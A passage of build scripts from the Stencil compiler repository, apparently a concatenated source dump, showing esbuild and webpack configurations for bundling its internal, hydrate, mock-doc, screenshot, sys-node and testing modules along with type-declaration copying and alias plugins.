internalHydrateAliases['@platform'] = hydratePlatformInput; const internalHydratePlatformBundle: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [hydratePlatformInput], format: 'esm', platform: 'node', outfile: join(outputInternalHydrateDir, 'index.js'), external, alias: internalHydrateAliases, banner: { js: getBanner(opts, 'Stencil Hydrate Platform'), }, plugins: [ externalAlias('@utils/shadow-css', '../client/shadow-css.js'), externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@app-globals', '@stencil/core/internal/app-globals'), ], }; const internalHydrateRunnerBundle: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(hydrateSrcDir, 'runner', 'index.js')], external, format: 'esm', platform: 'node', outfile: join(outputInternalHydrateDir, 'runner.js'), banner: { js: getBanner(opts, 'Stencil Hydrate Runner'), }, plugins: [ externalAlias('@utils/shadow-css', '../client/shadow-css.js'), externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@hydrate-factory', '@stencil/core/hydrate-factory'), ], }; return [internalHydratePlatformBundle, internalHydrateRunnerBundle]; } async function createHydrateRunnerDtsBundle(opts: BuildOptions, inputHydrateDir: string, outputDir: string) { // bundle @stencil/core/internal/hydrate/runner.d.ts const dtsEntry = join(inputHydrateDir, 'runner', 'index.d.ts'); const dtsContent = await bundleDts(opts, dtsEntry); const outputPath = join(outputDir, 'runner.d.ts'); await fs.writeFile(outputPath, dtsContent); } ================================================ FILE: scripts/esbuild/internal-platform-testing.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils'; /** * Get an ESBuild configuration object for the internal testing bundle. This * function also has side-effects which set things up for the bundle to be built * correctly, like writing a `package.json` file to disk. * * @param opts build options * @returns a promise wrapping an object holding options for ESBuild */ export async function getInternalTestingBundle(opts: BuildOptions): Promise { const inputTestingPlatform = join(opts.srcDir, 'testing', 'platform', 'index.ts'); const outputTestingPlatformDir = join(opts.output.internalDir, 'testing'); await fs.emptyDir(outputTestingPlatformDir); // write @stencil/core/internal/testing/package.json writePkgJson(opts, outputTestingPlatformDir, { name: '@stencil/core/internal/testing', description: 'Stencil internal testing platform to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.', main: 'index.js', }); // Copy JSX runtime files for automatic JSX transform support const srcJsxDir = join(opts.srcDir, 'internal', 'testing'); const jsxFiles = ['jsx-runtime.js', 'jsx-runtime.d.ts', 'jsx-dev-runtime.js', 'jsx-dev-runtime.d.ts']; await Promise.all(jsxFiles.map((file) => fs.copyFile(join(srcJsxDir, file), join(outputTestingPlatformDir, file)))); const internalTestingAliases = { ...getEsbuildAliases(), '@platform': inputTestingPlatform, '@stencil/core/mock-doc': '../../mock-doc/index.cjs', }; const external: string[] = [...externalNodeModules, '../../mock-doc/index.cjs']; const internalTestingBuildOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [inputTestingPlatform], bundle: true, format: 'cjs', outfile: join(outputTestingPlatformDir, 'index.js'), platform: 'node', logLevel: 'info', external, alias: internalTestingAliases, plugins: [ externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@utils/shadow-css', '../client/shadow-css.js'), ], }; return internalTestingBuildOptions; } ================================================ FILE: scripts/esbuild/internal.ts ================================================ import { generateDtsBundle } from 'dts-bundle-generator'; import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { bundleDts, cleanDts } from '../utils/bundle-dts'; import type { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { getInternalAppDataBundles } from './internal-app-data'; import { getInternalAppGlobalsBundles } from './internal-app-globals'; import { getInternalClientBundles } from './internal-platform-client'; import { getInternalPlatformHydrateBundles } from './internal-platform-hydrate'; import { getInternalTestingBundle } from './internal-platform-testing'; import { getBaseEsbuildOptions, runBuilds } from './utils'; /** * Run the build for the `internal/` directory, copying and modifying files * as-needed while also creating and then building the various bundles that need * to be written to `internal/`. * * @param opts Build options for the current build * @returns a Promise wrapping the state of the build */ export async function buildInternal(opts: BuildOptions) { const inputInternalDir = join(opts.buildDir, 'internal'); await fs.emptyDir(opts.output.internalDir); await copyStencilInternalDts(opts, opts.output.internalDir); await copyUtilsDtsFiles(opts); await copyStencilCoreEntry(opts); // copy @stencil/core/internal default entry, which defaults to client // but we're not exposing all of Stencil's internal code (only the types) await fs.copyFile(join(inputInternalDir, 'default.js'), join(opts.output.internalDir, 'index.js')); // write @stencil/core/internal/package.json writePkgJson(opts, opts.output.internalDir, { name: '@stencil/core/internal', description: 'Stencil internals only to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.', main: 'index.js', types: 'index.d.ts', sideEffects: false, }); // this is used in several of our bundles, so we bundle it here in one spot const shadowCSSBundle: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(opts.srcDir, 'utils', 'shadow-css.ts')], format: 'esm', outfile: join(opts.output.internalDir, 'client', 'shadow-css.js'), platform: 'node', }; const clientPlatformBundles = await getInternalClientBundles(opts); const hydratePlatformBundles = await getInternalPlatformHydrateBundles(opts); const appDataBundles = await getInternalAppDataBundles(opts); const appGlobalsBundles = await getInternalAppGlobalsBundles(opts); const internalTestingBundle = await getInternalTestingBundle(opts); return runBuilds( [ shadowCSSBundle, ...clientPlatformBundles, ...hydratePlatformBundles, internalTestingBundle, ...appDataBundles, ...appGlobalsBundles, ], opts, ); } async function copyStencilCoreEntry(opts: BuildOptions) { // write @stencil/core entry const stencilCoreSrcDir = join(opts.srcDir, 'internal', 'stencil-core'); const stencilCoreDstDir = join(opts.output.internalDir, 'stencil-core'); await fs.ensureDir(stencilCoreDstDir); await fs.copy(stencilCoreSrcDir, stencilCoreDstDir); } /** * Copy `.d.ts` files built from `src/utils` to `internal/utils` so that types * exported from utility modules can be referenced by other typedefs (in * particular by our declarations). * * Some modules within `@utils` incorporate external types which aren't bundled * so we selectively copy only `.d.ts` files which are 1) standalone and 2) export * a type that other modules in the codebase (in, for instance, `src/compiler/` * or `src/cli/`) depend on. * * @param opts options for the rollup build */ const copyUtilsDtsFiles = async (opts: BuildOptions) => { const outputDirPath = join(opts.output.internalDir, 'utils'); await fs.ensureDir(outputDirPath); // copy the `.d.ts` file corresponding to `src/utils/result.ts` const resultDtsFilePath = join(opts.buildDir, 'utils', 'result.d.ts'); const resultDtsOutputFilePath = join(opts.output.internalDir, 'utils', 'result.d.ts'); await fs.copyFile(resultDtsFilePath, resultDtsOutputFilePath); const utilsIndexDtsPath = join(opts.output.internalDir, 'utils', 'index.d.ts'); // here we write a simple module that re-exports `./result` so that imports // elsewhere like `import { result } from '@utils'` will resolve correctly await fs.writeFile(utilsIndexDtsPath, `export * as result from "./result"`); }; async function copyStencilInternalDts(opts: BuildOptions, outputInternalDir: string) { const declarationsInputDir = join(opts.buildDir, 'declarations'); // copy to @stencil/core/internal // @stencil/core/internal/index.d.ts const indexDtsSrcPath = join(declarationsInputDir, 'index.d.ts'); const indexDtsDestPath = join(outputInternalDir, 'index.d.ts'); let indexDts = cleanDts(await fs.readFile(indexDtsSrcPath, 'utf8')); indexDts = prependExtModules(indexDts); await fs.writeFile(indexDtsDestPath, indexDts); // @stencil/core/internal/stencil-private.d.ts const privateDtsSrcPath = join(declarationsInputDir, 'stencil-private.d.ts'); const privateDtsDestPath = join(outputInternalDir, 'stencil-private.d.ts'); let privateDts = cleanDts(await fs.readFile(privateDtsSrcPath, 'utf8')); // @stencil/core/internal/child_process.d.ts const childProcessSrcPath = join(declarationsInputDir, 'child_process.d.ts'); const childProcessDestPath = join(outputInternalDir, 'child_process.d.ts'); // we generate a tiny tiny bundle here of just // `src/declarations/child_process.ts` so that `internal/stencil-private.d.ts` // can import from `'./child_process'` without worrying about resolving the // types from `node_modules`. const childProcessDts = generateDtsBundle([ { filePath: childProcessSrcPath, libraries: { // we need to mark this library so that types imported from it are inlined inlinedLibraries: ['child_process'], }, output: { noBanner: true, exportReferencedTypes: false, }, }, ]).join('\n'); await fs.writeFile(childProcessDestPath, childProcessDts); // the private `.d.ts` imports the `Result` type from the `@utils` module, so // we need to rewrite the path so it imports from the right relative path privateDts = privateDts.replace('@utils', './utils'); await fs.writeFile(privateDtsDestPath, privateDts); // @stencil/core/internal/stencil-public.compiler.d.ts const compilerDtsSrcPath = join(declarationsInputDir, 'stencil-public-compiler.d.ts'); const compilerDtsDestPath = join(outputInternalDir, 'stencil-public-compiler.d.ts'); const compilerDts = cleanDts(await fs.readFile(compilerDtsSrcPath, 'utf8')); await fs.writeFile(compilerDtsDestPath, compilerDts); // @stencil/core/internal/stencil-public-docs.d.ts const docsDtsSrcPath = join(declarationsInputDir, 'stencil-public-docs.d.ts'); const docsDtsDestPath = join(outputInternalDir, 'stencil-public-docs.d.ts'); // We bundle with `dts-bundle-generator` here to ensure that when the `docs-json` // OT writes a `docs.d.ts` file based on this file it is fully portable. const docsDts = await bundleDts(opts, docsDtsSrcPath, { // we want to suppress the `dts-bundle-generator` banner here because we do // our own later on noBanner: true, // we also don't want the types which are inlined into our bundled file to // be re-exported, which will change the 'surface' of the module exportReferencedTypes: false, }); await fs.writeFile(docsDtsDestPath, docsDts); // @stencil/core/internal/stencil-public-runtime.d.ts const runtimeDtsSrcPath = join(declarationsInputDir, 'stencil-public-runtime.d.ts'); const runtimeDtsDestPath = join(outputInternalDir, 'stencil-public-runtime.d.ts'); const runtimeDts = cleanDts(await fs.readFile(runtimeDtsSrcPath, 'utf8')); await fs.writeFile(runtimeDtsDestPath, runtimeDts); // @stencil/core/internal/stencil-ext-modules.d.ts (.svg/.css) const srcExtModuleOutput = join(opts.srcDir, 'declarations', 'stencil-ext-modules.d.ts'); const dstExtModuleOutput = join(outputInternalDir, 'stencil-ext-modules.d.ts'); await fs.copyFile(srcExtModuleOutput, dstExtModuleOutput); } function prependExtModules(content: string) { return `/// \n` + content; } ================================================ FILE: scripts/esbuild/mock-doc.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { BuildOptions, createReplaceData } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils'; import { bundleParse5 } from './utils/parse5'; /** * Use esbuild to bundle the `mock-doc` submodule * * @param opts build options * @returns a promise for this bundle's build output */ export async function buildMockDoc(opts: BuildOptions) { const inputDir = join(opts.buildDir, 'mock-doc'); const srcDir = join(opts.srcDir, 'mock-doc'); const outputDir = opts.output.mockDocDir; // clear out rollup stuff and ensure directory exists await fs.emptyDir(outputDir); await bundleMockDocDts(inputDir, outputDir); writePkgJson(opts, outputDir, { name: '@stencil/core/mock-doc', description: 'Mock window, document and DOM outside of a browser environment.', main: 'index.cjs', module: 'index.js', types: 'index.d.ts', sideEffects: false, }); // we need to call `createReplaceData` here not because we plan to use the // replace data in this bundle but because the function has some side-effects // that we need here. in particular, it sets the version of `parse5` on // `opts` and the `bundleParse5` function has an implicit dependency on this // value being already set. createReplaceData(opts); const mockDocAliases = getEsbuildAliases(); const [, parse5Path] = await bundleParse5(opts); mockDocAliases['parse5'] = parse5Path; const mockDocBuildOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [join(srcDir, 'index.ts')], bundle: true, alias: mockDocAliases, logLevel: 'info', }; const esmOptions: ESBuildOptions = { ...mockDocBuildOptions, format: 'esm', outfile: join(outputDir, 'index.js'), banner: { js: getBanner(opts, `Stencil Mock Doc`, true) }, }; const cjsOptions: ESBuildOptions = { ...mockDocBuildOptions, format: 'cjs', outfile: join(outputDir, 'index.cjs'), banner: { js: getBanner(opts, `Stencil Mock Doc (CommonJS)`, true) }, }; return runBuilds([esmOptions, cjsOptions], opts); } async function bundleMockDocDts(inputDir: string, outputDir: string) { // only reason we can do this is because we already know the shape // of mock-doc's dts files and how we want them to come together const srcDtsFiles = (await fs.readdir(inputDir)).filter((f) => { return f.endsWith('.d.ts') && !f.endsWith('index.d.ts') && !f.endsWith('index.d.ts-bundled.d.ts'); }); const output = await Promise.all( srcDtsFiles.map((inputDtsFile) => { return getDtsContent(inputDir, inputDtsFile); }), ); const srcIndexDts = await fs.readFile(join(inputDir, 'index.d.ts'), 'utf8'); output.push(getMockDocExports(srcIndexDts)); await fs.writeFile(join(outputDir, 'index.d.ts'), output.join('\n') + '\n'); } async function getDtsContent(inputDir: string, inputDtsFile: string) { const srcDtsText = await fs.readFile(join(inputDir, inputDtsFile), 'utf8'); const allLines = srcDtsText.split('\n'); const filteredLines = allLines.filter((ln) => { if (ln.trim().startsWith('///')) { return false; } if (ln.trim().startsWith('import ')) { return false; } if (ln.trim().startsWith('__')) { return false; } if (ln.trim().startsWith('private')) { return false; } if (ln.replace(/ /g, '').startsWith('export{}')) { return false; } return true; }); let dtsContent = filteredLines .map((ln) => { if (ln.trim().startsWith('export ')) { ln = ln.replace('export ', ''); } return ln; }) .join('\n') .trim(); dtsContent = dtsContent.replace(/ /g, ' '); return dtsContent; } function getMockDocExports(srcIndexDts: string) { const exportLines = srcIndexDts.split('\n').filter((ln) => ln.trim().startsWith('export {')); const dtsExports: string[] = []; exportLines.forEach((ln) => { const splt = ln.split('{')[1].split('}')[0].trim(); const exportNames = splt .split(',') .map((n) => n.trim()) .filter((n) => n.length > 0); dtsExports.push(...exportNames); }); return `export { ${dtsExports.sort().join(', ')} }`; } ================================================ FILE: scripts/esbuild/screenshot.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import { join } from 'path'; import { getBanner } from '../utils/banner'; import { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils'; const screenshotBuilds = { 'Stencil Screenshot': 'index', 'Stencil Screenshot Pixel Match': 'pixel-match', }; export async function buildScreenshot(opts: BuildOptions) { const inputScreenshotDir = join(opts.buildDir, 'screenshot'); const inputScreenshotSrcDir = join(opts.srcDir, 'screenshot'); // copy @stencil/core/screenshot/index.d.ts await fs.copy(inputScreenshotDir, opts.output.screenshotDir, { filter: (f) => { if (f.endsWith('.d.ts')) { return true; } try { return fs.statSync(f).isDirectory(); } catch (e) {} return false; }, }); // write @stencil/core/screenshot/package.json writePkgJson(opts, opts.output.screenshotDir, { description: 'Stencil Screenshot.', files: ['compare/', 'index.js', 'connector.js', 'local-connector.js', 'pixel-match.js'], main: 'index.js', name: '@stencil/core/screenshot', types: 'index.d.ts', }); const aliases = getEsbuildAliases(); const external = externalNodeModules; const baseScreenshotOptions = { ...getBaseEsbuildOptions(), alias: aliases, external, format: 'cjs', platform: 'node', } satisfies ESBuildOptions; return runBuilds( Object.entries(screenshotBuilds).map( ([label, file]) => ({ ...baseScreenshotOptions, banner: { js: getBanner(opts, label), }, entryPoints: [join(inputScreenshotSrcDir, `${file}.ts`)], outfile: join(opts.output.screenshotDir, `${file}.js`), }) satisfies ESBuildOptions, ), opts, ); } ================================================ FILE: scripts/esbuild/sys-node.ts ================================================ import type { BuildOptions as ESBuildOptions } from 'esbuild'; import fs from 'fs-extra'; import path from 'path'; import resolve from 'resolve'; import webpack, { Configuration } from 'webpack'; import { getBanner } from '../utils/banner'; import type { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils'; export async function buildSysNode(opts: BuildOptions) { const inputDir = path.join(opts.buildDir, 'sys', 'node'); const srcDir = path.join(opts.srcDir, 'sys', 'node'); const inputFile = path.join(srcDir, 'index.ts'); const outputFile = path.join(opts.output.sysNodeDir, 'index.js'); // clear out rollup stuff and ensure directory exists await fs.emptyDir(opts.output.sysNodeDir); // create public d.ts let dts = await fs.readFile(path.join(inputDir, 'public.d.ts'), 'utf8'); dts = dts.replace('@stencil/core/internal', '../../internal/index'); await fs.writeFile(path.join(opts.output.sysNodeDir, 'index.d.ts'), dts); // write @stencil/core/sys/node/package.json writePkgJson(opts, opts.output.sysNodeDir, { name: '@stencil/core/sys/node', description: 'Stencil Node System.', main: 'index.js', types: 'index.d.ts', }); const external = [ ...externalNodeModules, // normally you wouldn't externalize your "own" directory here, but since // we build multiple things within `opts.output.sysNodeDir` which should // externalize each other we need to do so '../../compiler/stencil.js', '../../sys/node/index.js', './glob.js', ]; const sysNodeAliases = { ...getEsbuildAliases(), '@stencil/core/compiler': '../../compiler/stencil.js', '@sys-api-node': '../../sys/node/index.js', }; const sysNodeOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [inputFile], bundle: true, format: 'cjs', outfile: outputFile, platform: 'node', logLevel: 'info', external, minify: true, alias: sysNodeAliases, banner: { js: getBanner(opts, `Stencil Node System`, true) }, plugins: [externalAlias('graceful-fs', './graceful-fs.js')], }; // sys/node/worker.js bundle const inputWorkerFile = path.join(srcDir, 'worker.ts'); const outputWorkerFile = path.join(opts.output.sysNodeDir, 'worker.js'); const workerOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [inputWorkerFile], bundle: true, format: 'cjs', outfile: outputWorkerFile, platform: 'node', logLevel: 'info', external, minify: true, alias: sysNodeAliases, banner: { js: getBanner(opts, `Stencil Node System Worker`, true) }, }; await sysNodeExternalBundles(opts); return runBuilds([sysNodeOptions, workerOptions], opts); } export const sysNodeBundleCacheDir = 'sys-node-bundle-cache'; async function sysNodeExternalBundles(opts: BuildOptions) { const cachedDir = path.join(opts.scriptsBuildDir, sysNodeBundleCacheDir); await fs.ensureDir(cachedDir); await Promise.all([ bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'autoprefixer.js'), bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'glob.js'), bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'graceful-fs.js'), bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'node-fetch.js'), bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'prompts.js'), ]); /** * Some of globs dependencies are using imports with a `node:` prefix which * is not supported by Jest v26. This is a workaround to remove the `node:`. * TODO(STENCIL-1323): remove once we deprecated Jest v26 support */ const globOutputPath = path.join(opts.output.sysNodeDir, 'glob.js'); const glob = fs.readFileSync(globOutputPath, 'utf8'); fs.writeFileSync(globOutputPath, glob.replace(/require\("node:/g, 'require("')); } export function bundleExternal(opts: BuildOptions, outputDir: string, cachedDir: string, entryFileName: string) { return new Promise(async (resolveBundle, rejectBundle) => { const outputFile = path.join(outputDir, entryFileName); const cachedFile = path.join(cachedDir, entryFileName) + (opts.isProd ? '.min.js' : ''); const cachedExists = fs.existsSync(cachedFile); if (cachedExists) { await fs.copyFile(cachedFile, outputFile); resolveBundle(); return; } const whitelist = new Set(['child_process', 'os', 'typescript']); const webpackConfig: Configuration = { entry: path.join(opts.srcDir, 'sys', 'node', 'bundles', entryFileName), output: { path: outputDir, filename: entryFileName, libraryTarget: 'commonjs', }, target: 'node', node: { __dirname: false, __filename: false, }, externals(data, callback) { const { request } = data; if (request?.match(/^(\.{0,2})\//)) { // absolute and relative paths are not externals return callback(null, undefined); } if (request === '@stencil/core/mock-doc') { return callback(null, '../../mock-doc'); } if (typeof request === 'string' && whitelist.has(request)) { // we specifically do not want to bundle these imports resolve.sync(request); return callback(null, request); } // bundle this import callback(undefined, undefined); }, resolve: { alias: { '@utils': path.join(opts.buildDir, 'utils', 'index.js'), postcss: path.join(opts.nodeModulesDir, 'postcss'), 'source-map': path.join(opts.nodeModulesDir, 'source-map'), chalk: path.join(opts.bundleHelpersDir, 'empty.js'), }, }, optimization: { minimize: false, }, mode: 'production', }; console.log(`[sys-node] bundleExternal ${entryFileName} via webpack`); webpack(webpackConfig, async (err, stats) => { try { console.log(`[sys-node] bundleExternal ${entryFileName} success, err: ${err}, stats: ${stats}`); const { minify } = await import('terser'); if (err && err.message) { rejectBundle(err); } else if (stats) { const info = stats.toJson({ errors: true }); if (stats.hasErrors() && info && info.errors) { const webpackError = info.errors.join('\n'); rejectBundle(webpackError); } else { let code = await fs.readFile(outputFile, 'utf8'); if (opts.isProd) { try { const minifyResults = await minify(code); if (minifyResults.code) { code = minifyResults.code; } } catch (e) { rejectBundle(e); return; } } await fs.writeFile(cachedFile, code); await fs.writeFile(outputFile, code); resolveBundle(); } } } catch (e) { rejectBundle(e); } }); }); } ================================================ FILE: scripts/esbuild/testing.ts ================================================ import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild'; import fs from 'fs-extra'; import path from 'path'; import { getBanner } from '../utils/banner'; import type { BuildOptions } from '../utils/options'; import { writePkgJson } from '../utils/write-pkg-json'; import { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, getFirstOutputFile, runBuilds, } from './utils'; const EXTERNAL_TESTING_MODULES = [ 'constants', 'rollup', '@rollup/plugin-commonjs', '@rollup/plugin-node-resolve', 'yargs', 'zlib', ]; export async function buildTesting(opts: BuildOptions) { const inputDir = path.join(opts.buildDir, 'testing'); const sourceDir = path.join(opts.srcDir, 'testing'); await fs.emptyDir(opts.output.testingDir); await Promise.all([ // copy jest testing entry files fs.copy(path.join(opts.scriptsBundlesDir, 'helpers', 'jest'), opts.output.testingDir), copyTestingInternalDts(opts, inputDir), ]); // write package.json writePkgJson(opts, opts.output.testingDir, { name: '@stencil/core/testing', description: 'Stencil testing suite.', main: 'index.js', types: 'index.d.ts', }); const external = [ ...EXTERNAL_TESTING_MODULES, ...externalNodeModules, '../internal/testing/*', '../cli/index.cjs', '../sys/node/index.js', '../compiler/stencil.js', ]; const aliases = getEsbuildAliases(); const testingEsbuildOptions: ESBuildOptions = { ...getBaseEsbuildOptions(), entryPoints: [path.join(sourceDir, 'index.ts')], bundle: true, format: 'cjs', outfile: path.join(opts.output.testingDir, 'index.js'), platform: 'node', logLevel: 'info', external, /** * set `write: false` so that we can run the `onEnd` hook * in `lazyRequirePlugin` and modify the imports */ write: false, alias: aliases, banner: { js: getBanner(opts, `Stencil Testing`, true) }, plugins: [ externalAlias('@app-data', '@stencil/core/internal/app-data'), externalAlias('@platform', '@stencil/core/internal/testing'), externalAlias('../internal/testing/index.js', '@stencil/core/internal/testing'), externalAlias('@stencil/core/dev-server', '../dev-server/index.js'), externalAlias('@stencil/core/mock-doc', '../mock-doc/index.cjs'), lazyRequirePlugin(opts, [ '@stencil/core/internal/app-data', '@stencil/core/internal/testing', '../dev-server/index.js', '../internal/testing/index.js', '../mock-doc/index.cjs', ]), ignorePuppeteerDependency(opts), ], }; return runBuilds([testingEsbuildOptions], opts); } function getLazyRequireFn(opts: BuildOptions) { return fs.readFileSync(path.join(opts.bundleHelpersDir, 'lazy-require.js'), 'utf8').trim(); } function lazyRequirePlugin(opts: BuildOptions, moduleIds: string[]): Plugin { return { name: 'lazyRequirePlugin', setup(build) { build.onEnd(async (buildResult) => { const bundle = getFirstOutputFile(buildResult); let code = Buffer.from(bundle.contents).toString(); for (const moduleId of moduleIds) { const str = `require("${moduleId}")`; while (code.includes(str)) { code = code.replace(str, `_lazyRequire("${moduleId}")`); } } code = code.replace(`"use strict";`, `"use strict";\n\n${getLazyRequireFn(opts)}`); return fs.writeFile(bundle.path, code); }); }, }; } /** * To avoid having user to install puppeteer for building their app (even if * they don't use e2e testing), we ignore the puppeteer dependency in the * generated d.ts file. * * @param opts build options * @returns an ESbuild plugin */ function ignorePuppeteerDependency(opts: BuildOptions): Plugin { return { name: 'ignorePuppeteerDependency', setup(build) { build.onEnd(async () => { await writePatchedPuppeteerDts(opts); }); }, }; } export async function copyTestingInternalDts(opts: BuildOptions, inputDir: string) { // copy testing d.ts files await fs.copy(path.join(inputDir), path.join(opts.output.testingDir), { filter: (f) => { if (f.endsWith('.d.ts')) { return true; } if (fs.statSync(f).isDirectory() && !f.includes('platform')) { return true; } return false; }, }); } /** * Write a patched version of * `src/testing/puppeteer/puppeteer-declarations.d.ts` which has a `@ts-ignore` * added to prevent a type-checking error if a Stencil project does not have * puppeteer installed. * * @param opts build options */ export async function writePatchedPuppeteerDts(opts: BuildOptions) { const typeFilePath = path.join(opts.output.testingDir, 'puppeteer', 'puppeteer-declarations.d.ts'); const updatedFileContent = (await fs.readFile(typeFilePath, 'utf8')) .split('\n') .reduce((lines, line) => { if (line.endsWith(`from 'puppeteer';`)) { lines.push('// @ts-ignore - avoid requiring puppeteer as dependency'); } lines.push(line); return lines; }, [] as string[]) .join('\n'); await fs.writeFile(typeFilePath, updatedFileContent); } ================================================ FILE: scripts/esbuild/utils/alias-plugin.ts ================================================ import { join } from 'path'; import type { PartialResolvedId, Plugin } from 'rollup'; import type { BuildOptions } from '../../utils/options'; /** * Creates a rollup plugin for resolving identifiers while simultaneously externalizing them * @param opts the options being used during a build * @returns a rollup plugin with a build hook for resolving various identifiers */ export function aliasPlugin(opts: BuildOptions): Plugin { const alias = new Map([ ['@app-data', '@stencil/core/internal/app-data'], ['@app-globals', '@stencil/core/internal/app-globals'], ['@hydrate-factory', '@stencil/core/hydrate-factory'], ['@stencil/core/mock-doc', '@stencil/core/mock-doc'], ['@stencil/core/testing', '@stencil/core/testing'], ['@dev-server-process', './server-process.js'], ]); // ensure we use the same one const helperResolvers = new Set(['is-resolvable', 'path-is-absolute']); // ensure we use the same one const nodeResolvers = new Map([['source-map', join(opts.nodeModulesDir, 'source-map', 'source-map.js')]]); const empty = new Set([ // we never use chalk, but many projects still pull it in 'chalk', ]); return { name: 'aliasPlugin', /** * A rollup build hook for resolving identifiers. [Source](https://rollupjs.org/guide/en/#resolveid) * @param id the importee exactly as it is written in an import statement in the source code * @returns a resolution to an import to a different id, potentially externalizing it from the bundle simultaneously */ resolveId(id: string): PartialResolvedId | string | null | undefined { const externalId = alias.get(id); if (externalId) { return { id: externalId, external: true, }; } if (id === '@runtime') { return join(opts.buildDir, 'runtime', 'index.js'); } if (id === '@utils') { return join(opts.buildDir, 'utils', 'index.js'); } if (id === '@utils/shadow-css') { return join(opts.buildDir, 'utils', 'shadow-css.js'); } if (id === '@environment') { return join(opts.buildDir, 'compiler', 'sys', 'environment.js'); } if (id === '@sys-api-node') { return join(opts.buildDir, 'sys', 'node', 'index.js'); } if (id === '@stencil/core/cli') { return join(opts.buildDir, 'cli', 'index.js'); } if (helperResolvers.has(id)) { return join(opts.bundleHelpersDir, `${id}.js`); } if (empty.has(id)) { return join(opts.bundleHelpersDir, 'empty.js'); } if (nodeResolvers.has(id)) { return nodeResolvers.get(id); } return null; }, }; } ================================================ FILE: scripts/esbuild/utils/content-types.ts ================================================ import fs from 'fs-extra'; import { join } from 'path'; import type { BuildOptions } from '../../utils/options'; export async function createContentTypeData(opts: BuildOptions) { // create a focused content-type lookup object from // the mime db json file const mimeDbSrcPath = join(opts.nodeModulesDir, 'mime-db', 'db.json'); const mimeDbJson = await fs.readJson(mimeDbSrcPath); const extData: { ext: string; mimeType: string }[] = []; Object.keys(mimeDbJson).forEach((mimeType) => { const mimeTypeData = mimeDbJson[mimeType]; if (Array.isArray(mimeTypeData.extensions)) { mimeTypeData.extensions.forEach((ext: string) => { extData.push({ ext, mimeType, }); }); } }); const exts: Record = {}; extData .sort((a, b) => { if (a.ext < b.ext) return -1; if (a.ext > b.ext) return 1; return 0; }) .forEach((x: any) => (exts[x.ext] = x.mimeType)); return `export default ${JSON.stringify(exts)}`; } ================================================ FILE: scripts/esbuild/utils/index.ts ================================================ import type { BuildOptions as ESBuildOptions, BuildResult as ESBuildResult, OutputFile, Plugin } from 'esbuild'; import { build, context } from 'esbuild'; import { BuildOptions } from '../../utils/options'; /** * Aliases which map the module identifiers we set in `paths` in `tsconfig.json` to * bundles (built either with esbuild or with rollup). * * @returns a map of aliases to bundle entry points, relative to the root directory */ export function getEsbuildAliases(): Record { return { // node module redirection chalk: 'ansi-colors', // mapping aliases to top-level bundle entrypoints '@stencil/core/testing': '../testing/index.js', '@stencil/core/compiler': '../compiler/stencil.js', '@stencil/core/dev-server': '../dev-server/index.js', '@stencil/core/mock-doc': '../mock-doc/index.cjs', '@stencil/core/internal/testing': '../internal/testing/index.js', '@stencil/core/cli': '../cli/index.cjs', '@sys-api-node': '../sys/node/index.js', }; } /** * Node modules which should be universally marked as external * * Note that we should not rely on this to mark node.js built-in modules as * external. Doing so will override esbuild's automatic marking of those modules * as side-effect-free, which allows imports from them to be properly * tree-shaken. */ export const externalNodeModules = [ '@jest/core', '@jest/reporters', '@microsoft/typescript-etw', 'expect', 'fsevents', 'jest', 'jest-cli', 'jest-config', 'jest-message-id', 'jest-pnp-resolver', 'jest-environment-node', 'jest-runner', 'puppeteer', 'puppeteer-core', 'yargs', ]; /** * A helper which runs an array of esbuild, uh, _builds_ * * This accepts an array of build configurations and will either run a * synchronous build _or_ run them all in watch mode, depending on the * {@link BuildOptions['isWatch']} setting. * * @param builds the array of outputs to build * @param opts Stencil build options * @returns a Promise representing the execution of the builds */ export function runBuilds(builds: ESBuildOptions[], opts: BuildOptions): Promise<(void | ESBuildResult)[]> { if (opts.isWatch) { return Promise.all( builds.map(async (buildConfig) => { const ctx = await context(buildConfig); return ctx.watch(); }), ); } else { return Promise.all(builds.map(build)); } } /** * Get base esbuild options which we want to always have set for all of our * bundles * * @returns a base set of options */ export function getBaseEsbuildOptions(): ESBuildOptions { const options: ESBuildOptions = { bundle: true, legalComments: 'inline', logLevel: 'info', target: getEsbuildTargets(), }; // if the `build` sub-command is called with the `DEBUG` env var, like // // DEBUG=true npm run build // // then we should produce sourcemaps. if (process.env.DEBUG) { options.sourcemap = 'linked'; } return options; } /** * Get 